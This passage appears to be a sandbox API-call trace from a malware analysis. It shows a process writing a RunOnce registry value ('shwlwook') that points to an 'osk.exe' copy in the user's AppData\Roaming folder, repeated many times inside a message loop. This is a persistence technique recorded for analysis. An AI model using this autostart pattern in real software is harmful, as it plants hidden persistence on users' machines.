lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.783] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.783] RegCloseKey (hKey=0x644) returned 0x0 [0281.783] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.784] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.797] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.797] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.797] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.798] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.798] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.798] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.798] RegCloseKey (hKey=0x644) returned 0x0 [0281.799] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.799] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.813] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.813] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.813] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.814] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.814] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.814] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.814] RegCloseKey (hKey=0x644) returned 0x0 [0281.814] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.815] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.828] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.828] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.829] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.829] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.829] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.829] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.830] RegCloseKey (hKey=0x644) returned 0x0 [0281.830] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.830] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.844] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.844] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.844] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.845] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.845] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.845] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.845] RegCloseKey (hKey=0x644) returned 0x0 [0281.845] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.846] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.860] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.860] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.861] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.861] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.861] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.861] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.862] RegCloseKey (hKey=0x644) returned 0x0 [0281.862] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.862] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.891] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.891] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.892] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.892] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.892] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.893] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.893] RegCloseKey (hKey=0x644) returned 0x0 [0281.893] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.893] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.906] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.906] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.907] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.907] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.907] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.908] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.908] RegCloseKey (hKey=0x644) returned 0x0 [0281.908] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.908] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.922] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.922] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.923] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.923] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.923] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.923] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.923] RegCloseKey (hKey=0x644) returned 0x0 [0281.924] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.924] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.937] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.938] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.938] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.938] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.938] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.939] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.939] RegCloseKey (hKey=0x644) returned 0x0 [0281.939] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.939] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.953] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.953] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.954] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.954] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.954] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.954] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.955] RegCloseKey (hKey=0x644) returned 0x0 [0281.955] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.955] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.969] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.969] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.970] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.970] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.970] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.970] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.970] RegCloseKey (hKey=0x644) returned 0x0 [0281.971] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.971] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0281.985] TranslateMessage (lpMsg=0x95f69c) returned 0 [0281.985] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0281.985] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0281.985] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0281.986] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0281.986] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0281.986] RegCloseKey (hKey=0x644) returned 0x0 [0281.986] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0281.986] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.000] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.000] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.000] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.001] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.001] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.001] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.001] RegCloseKey (hKey=0x644) returned 0x0 [0282.002] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.002] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.016] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.016] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.016] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.017] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.017] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.017] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.017] RegCloseKey (hKey=0x644) returned 0x0 [0282.017] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.017] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.031] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.031] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.034] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.034] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.034] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.035] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.035] RegCloseKey (hKey=0x644) returned 0x0 [0282.035] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.035] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.047] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.048] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.048] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.048] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.048] RegCloseKey (hKey=0x644) returned 0x0 [0282.048] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.049] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.063] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.063] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.063] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.064] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.064] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.064] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.064] RegCloseKey (hKey=0x644) returned 0x0 [0282.064] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.065] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.088] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.088] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.088] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.089] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.089] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.089] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.089] RegCloseKey (hKey=0x644) returned 0x0 [0282.089] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.090] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.094] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.094] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.094] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.095] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.095] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.095] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.095] RegCloseKey (hKey=0x644) returned 0x0 [0282.095] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.096] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.205] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.205] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.205] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.206] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.206] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.206] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.206] RegCloseKey (hKey=0x644) returned 0x0 [0282.206] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.207] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.219] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.219] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.219] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0282.220] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0282.220] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0282.220] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0282.220] RegCloseKey (hKey=0x644) returned 0x0 [0282.221] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0282.221] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0282.235] TranslateMessage (lpMsg=0x95f69c) returned 0 [0282.235] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0282.235] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 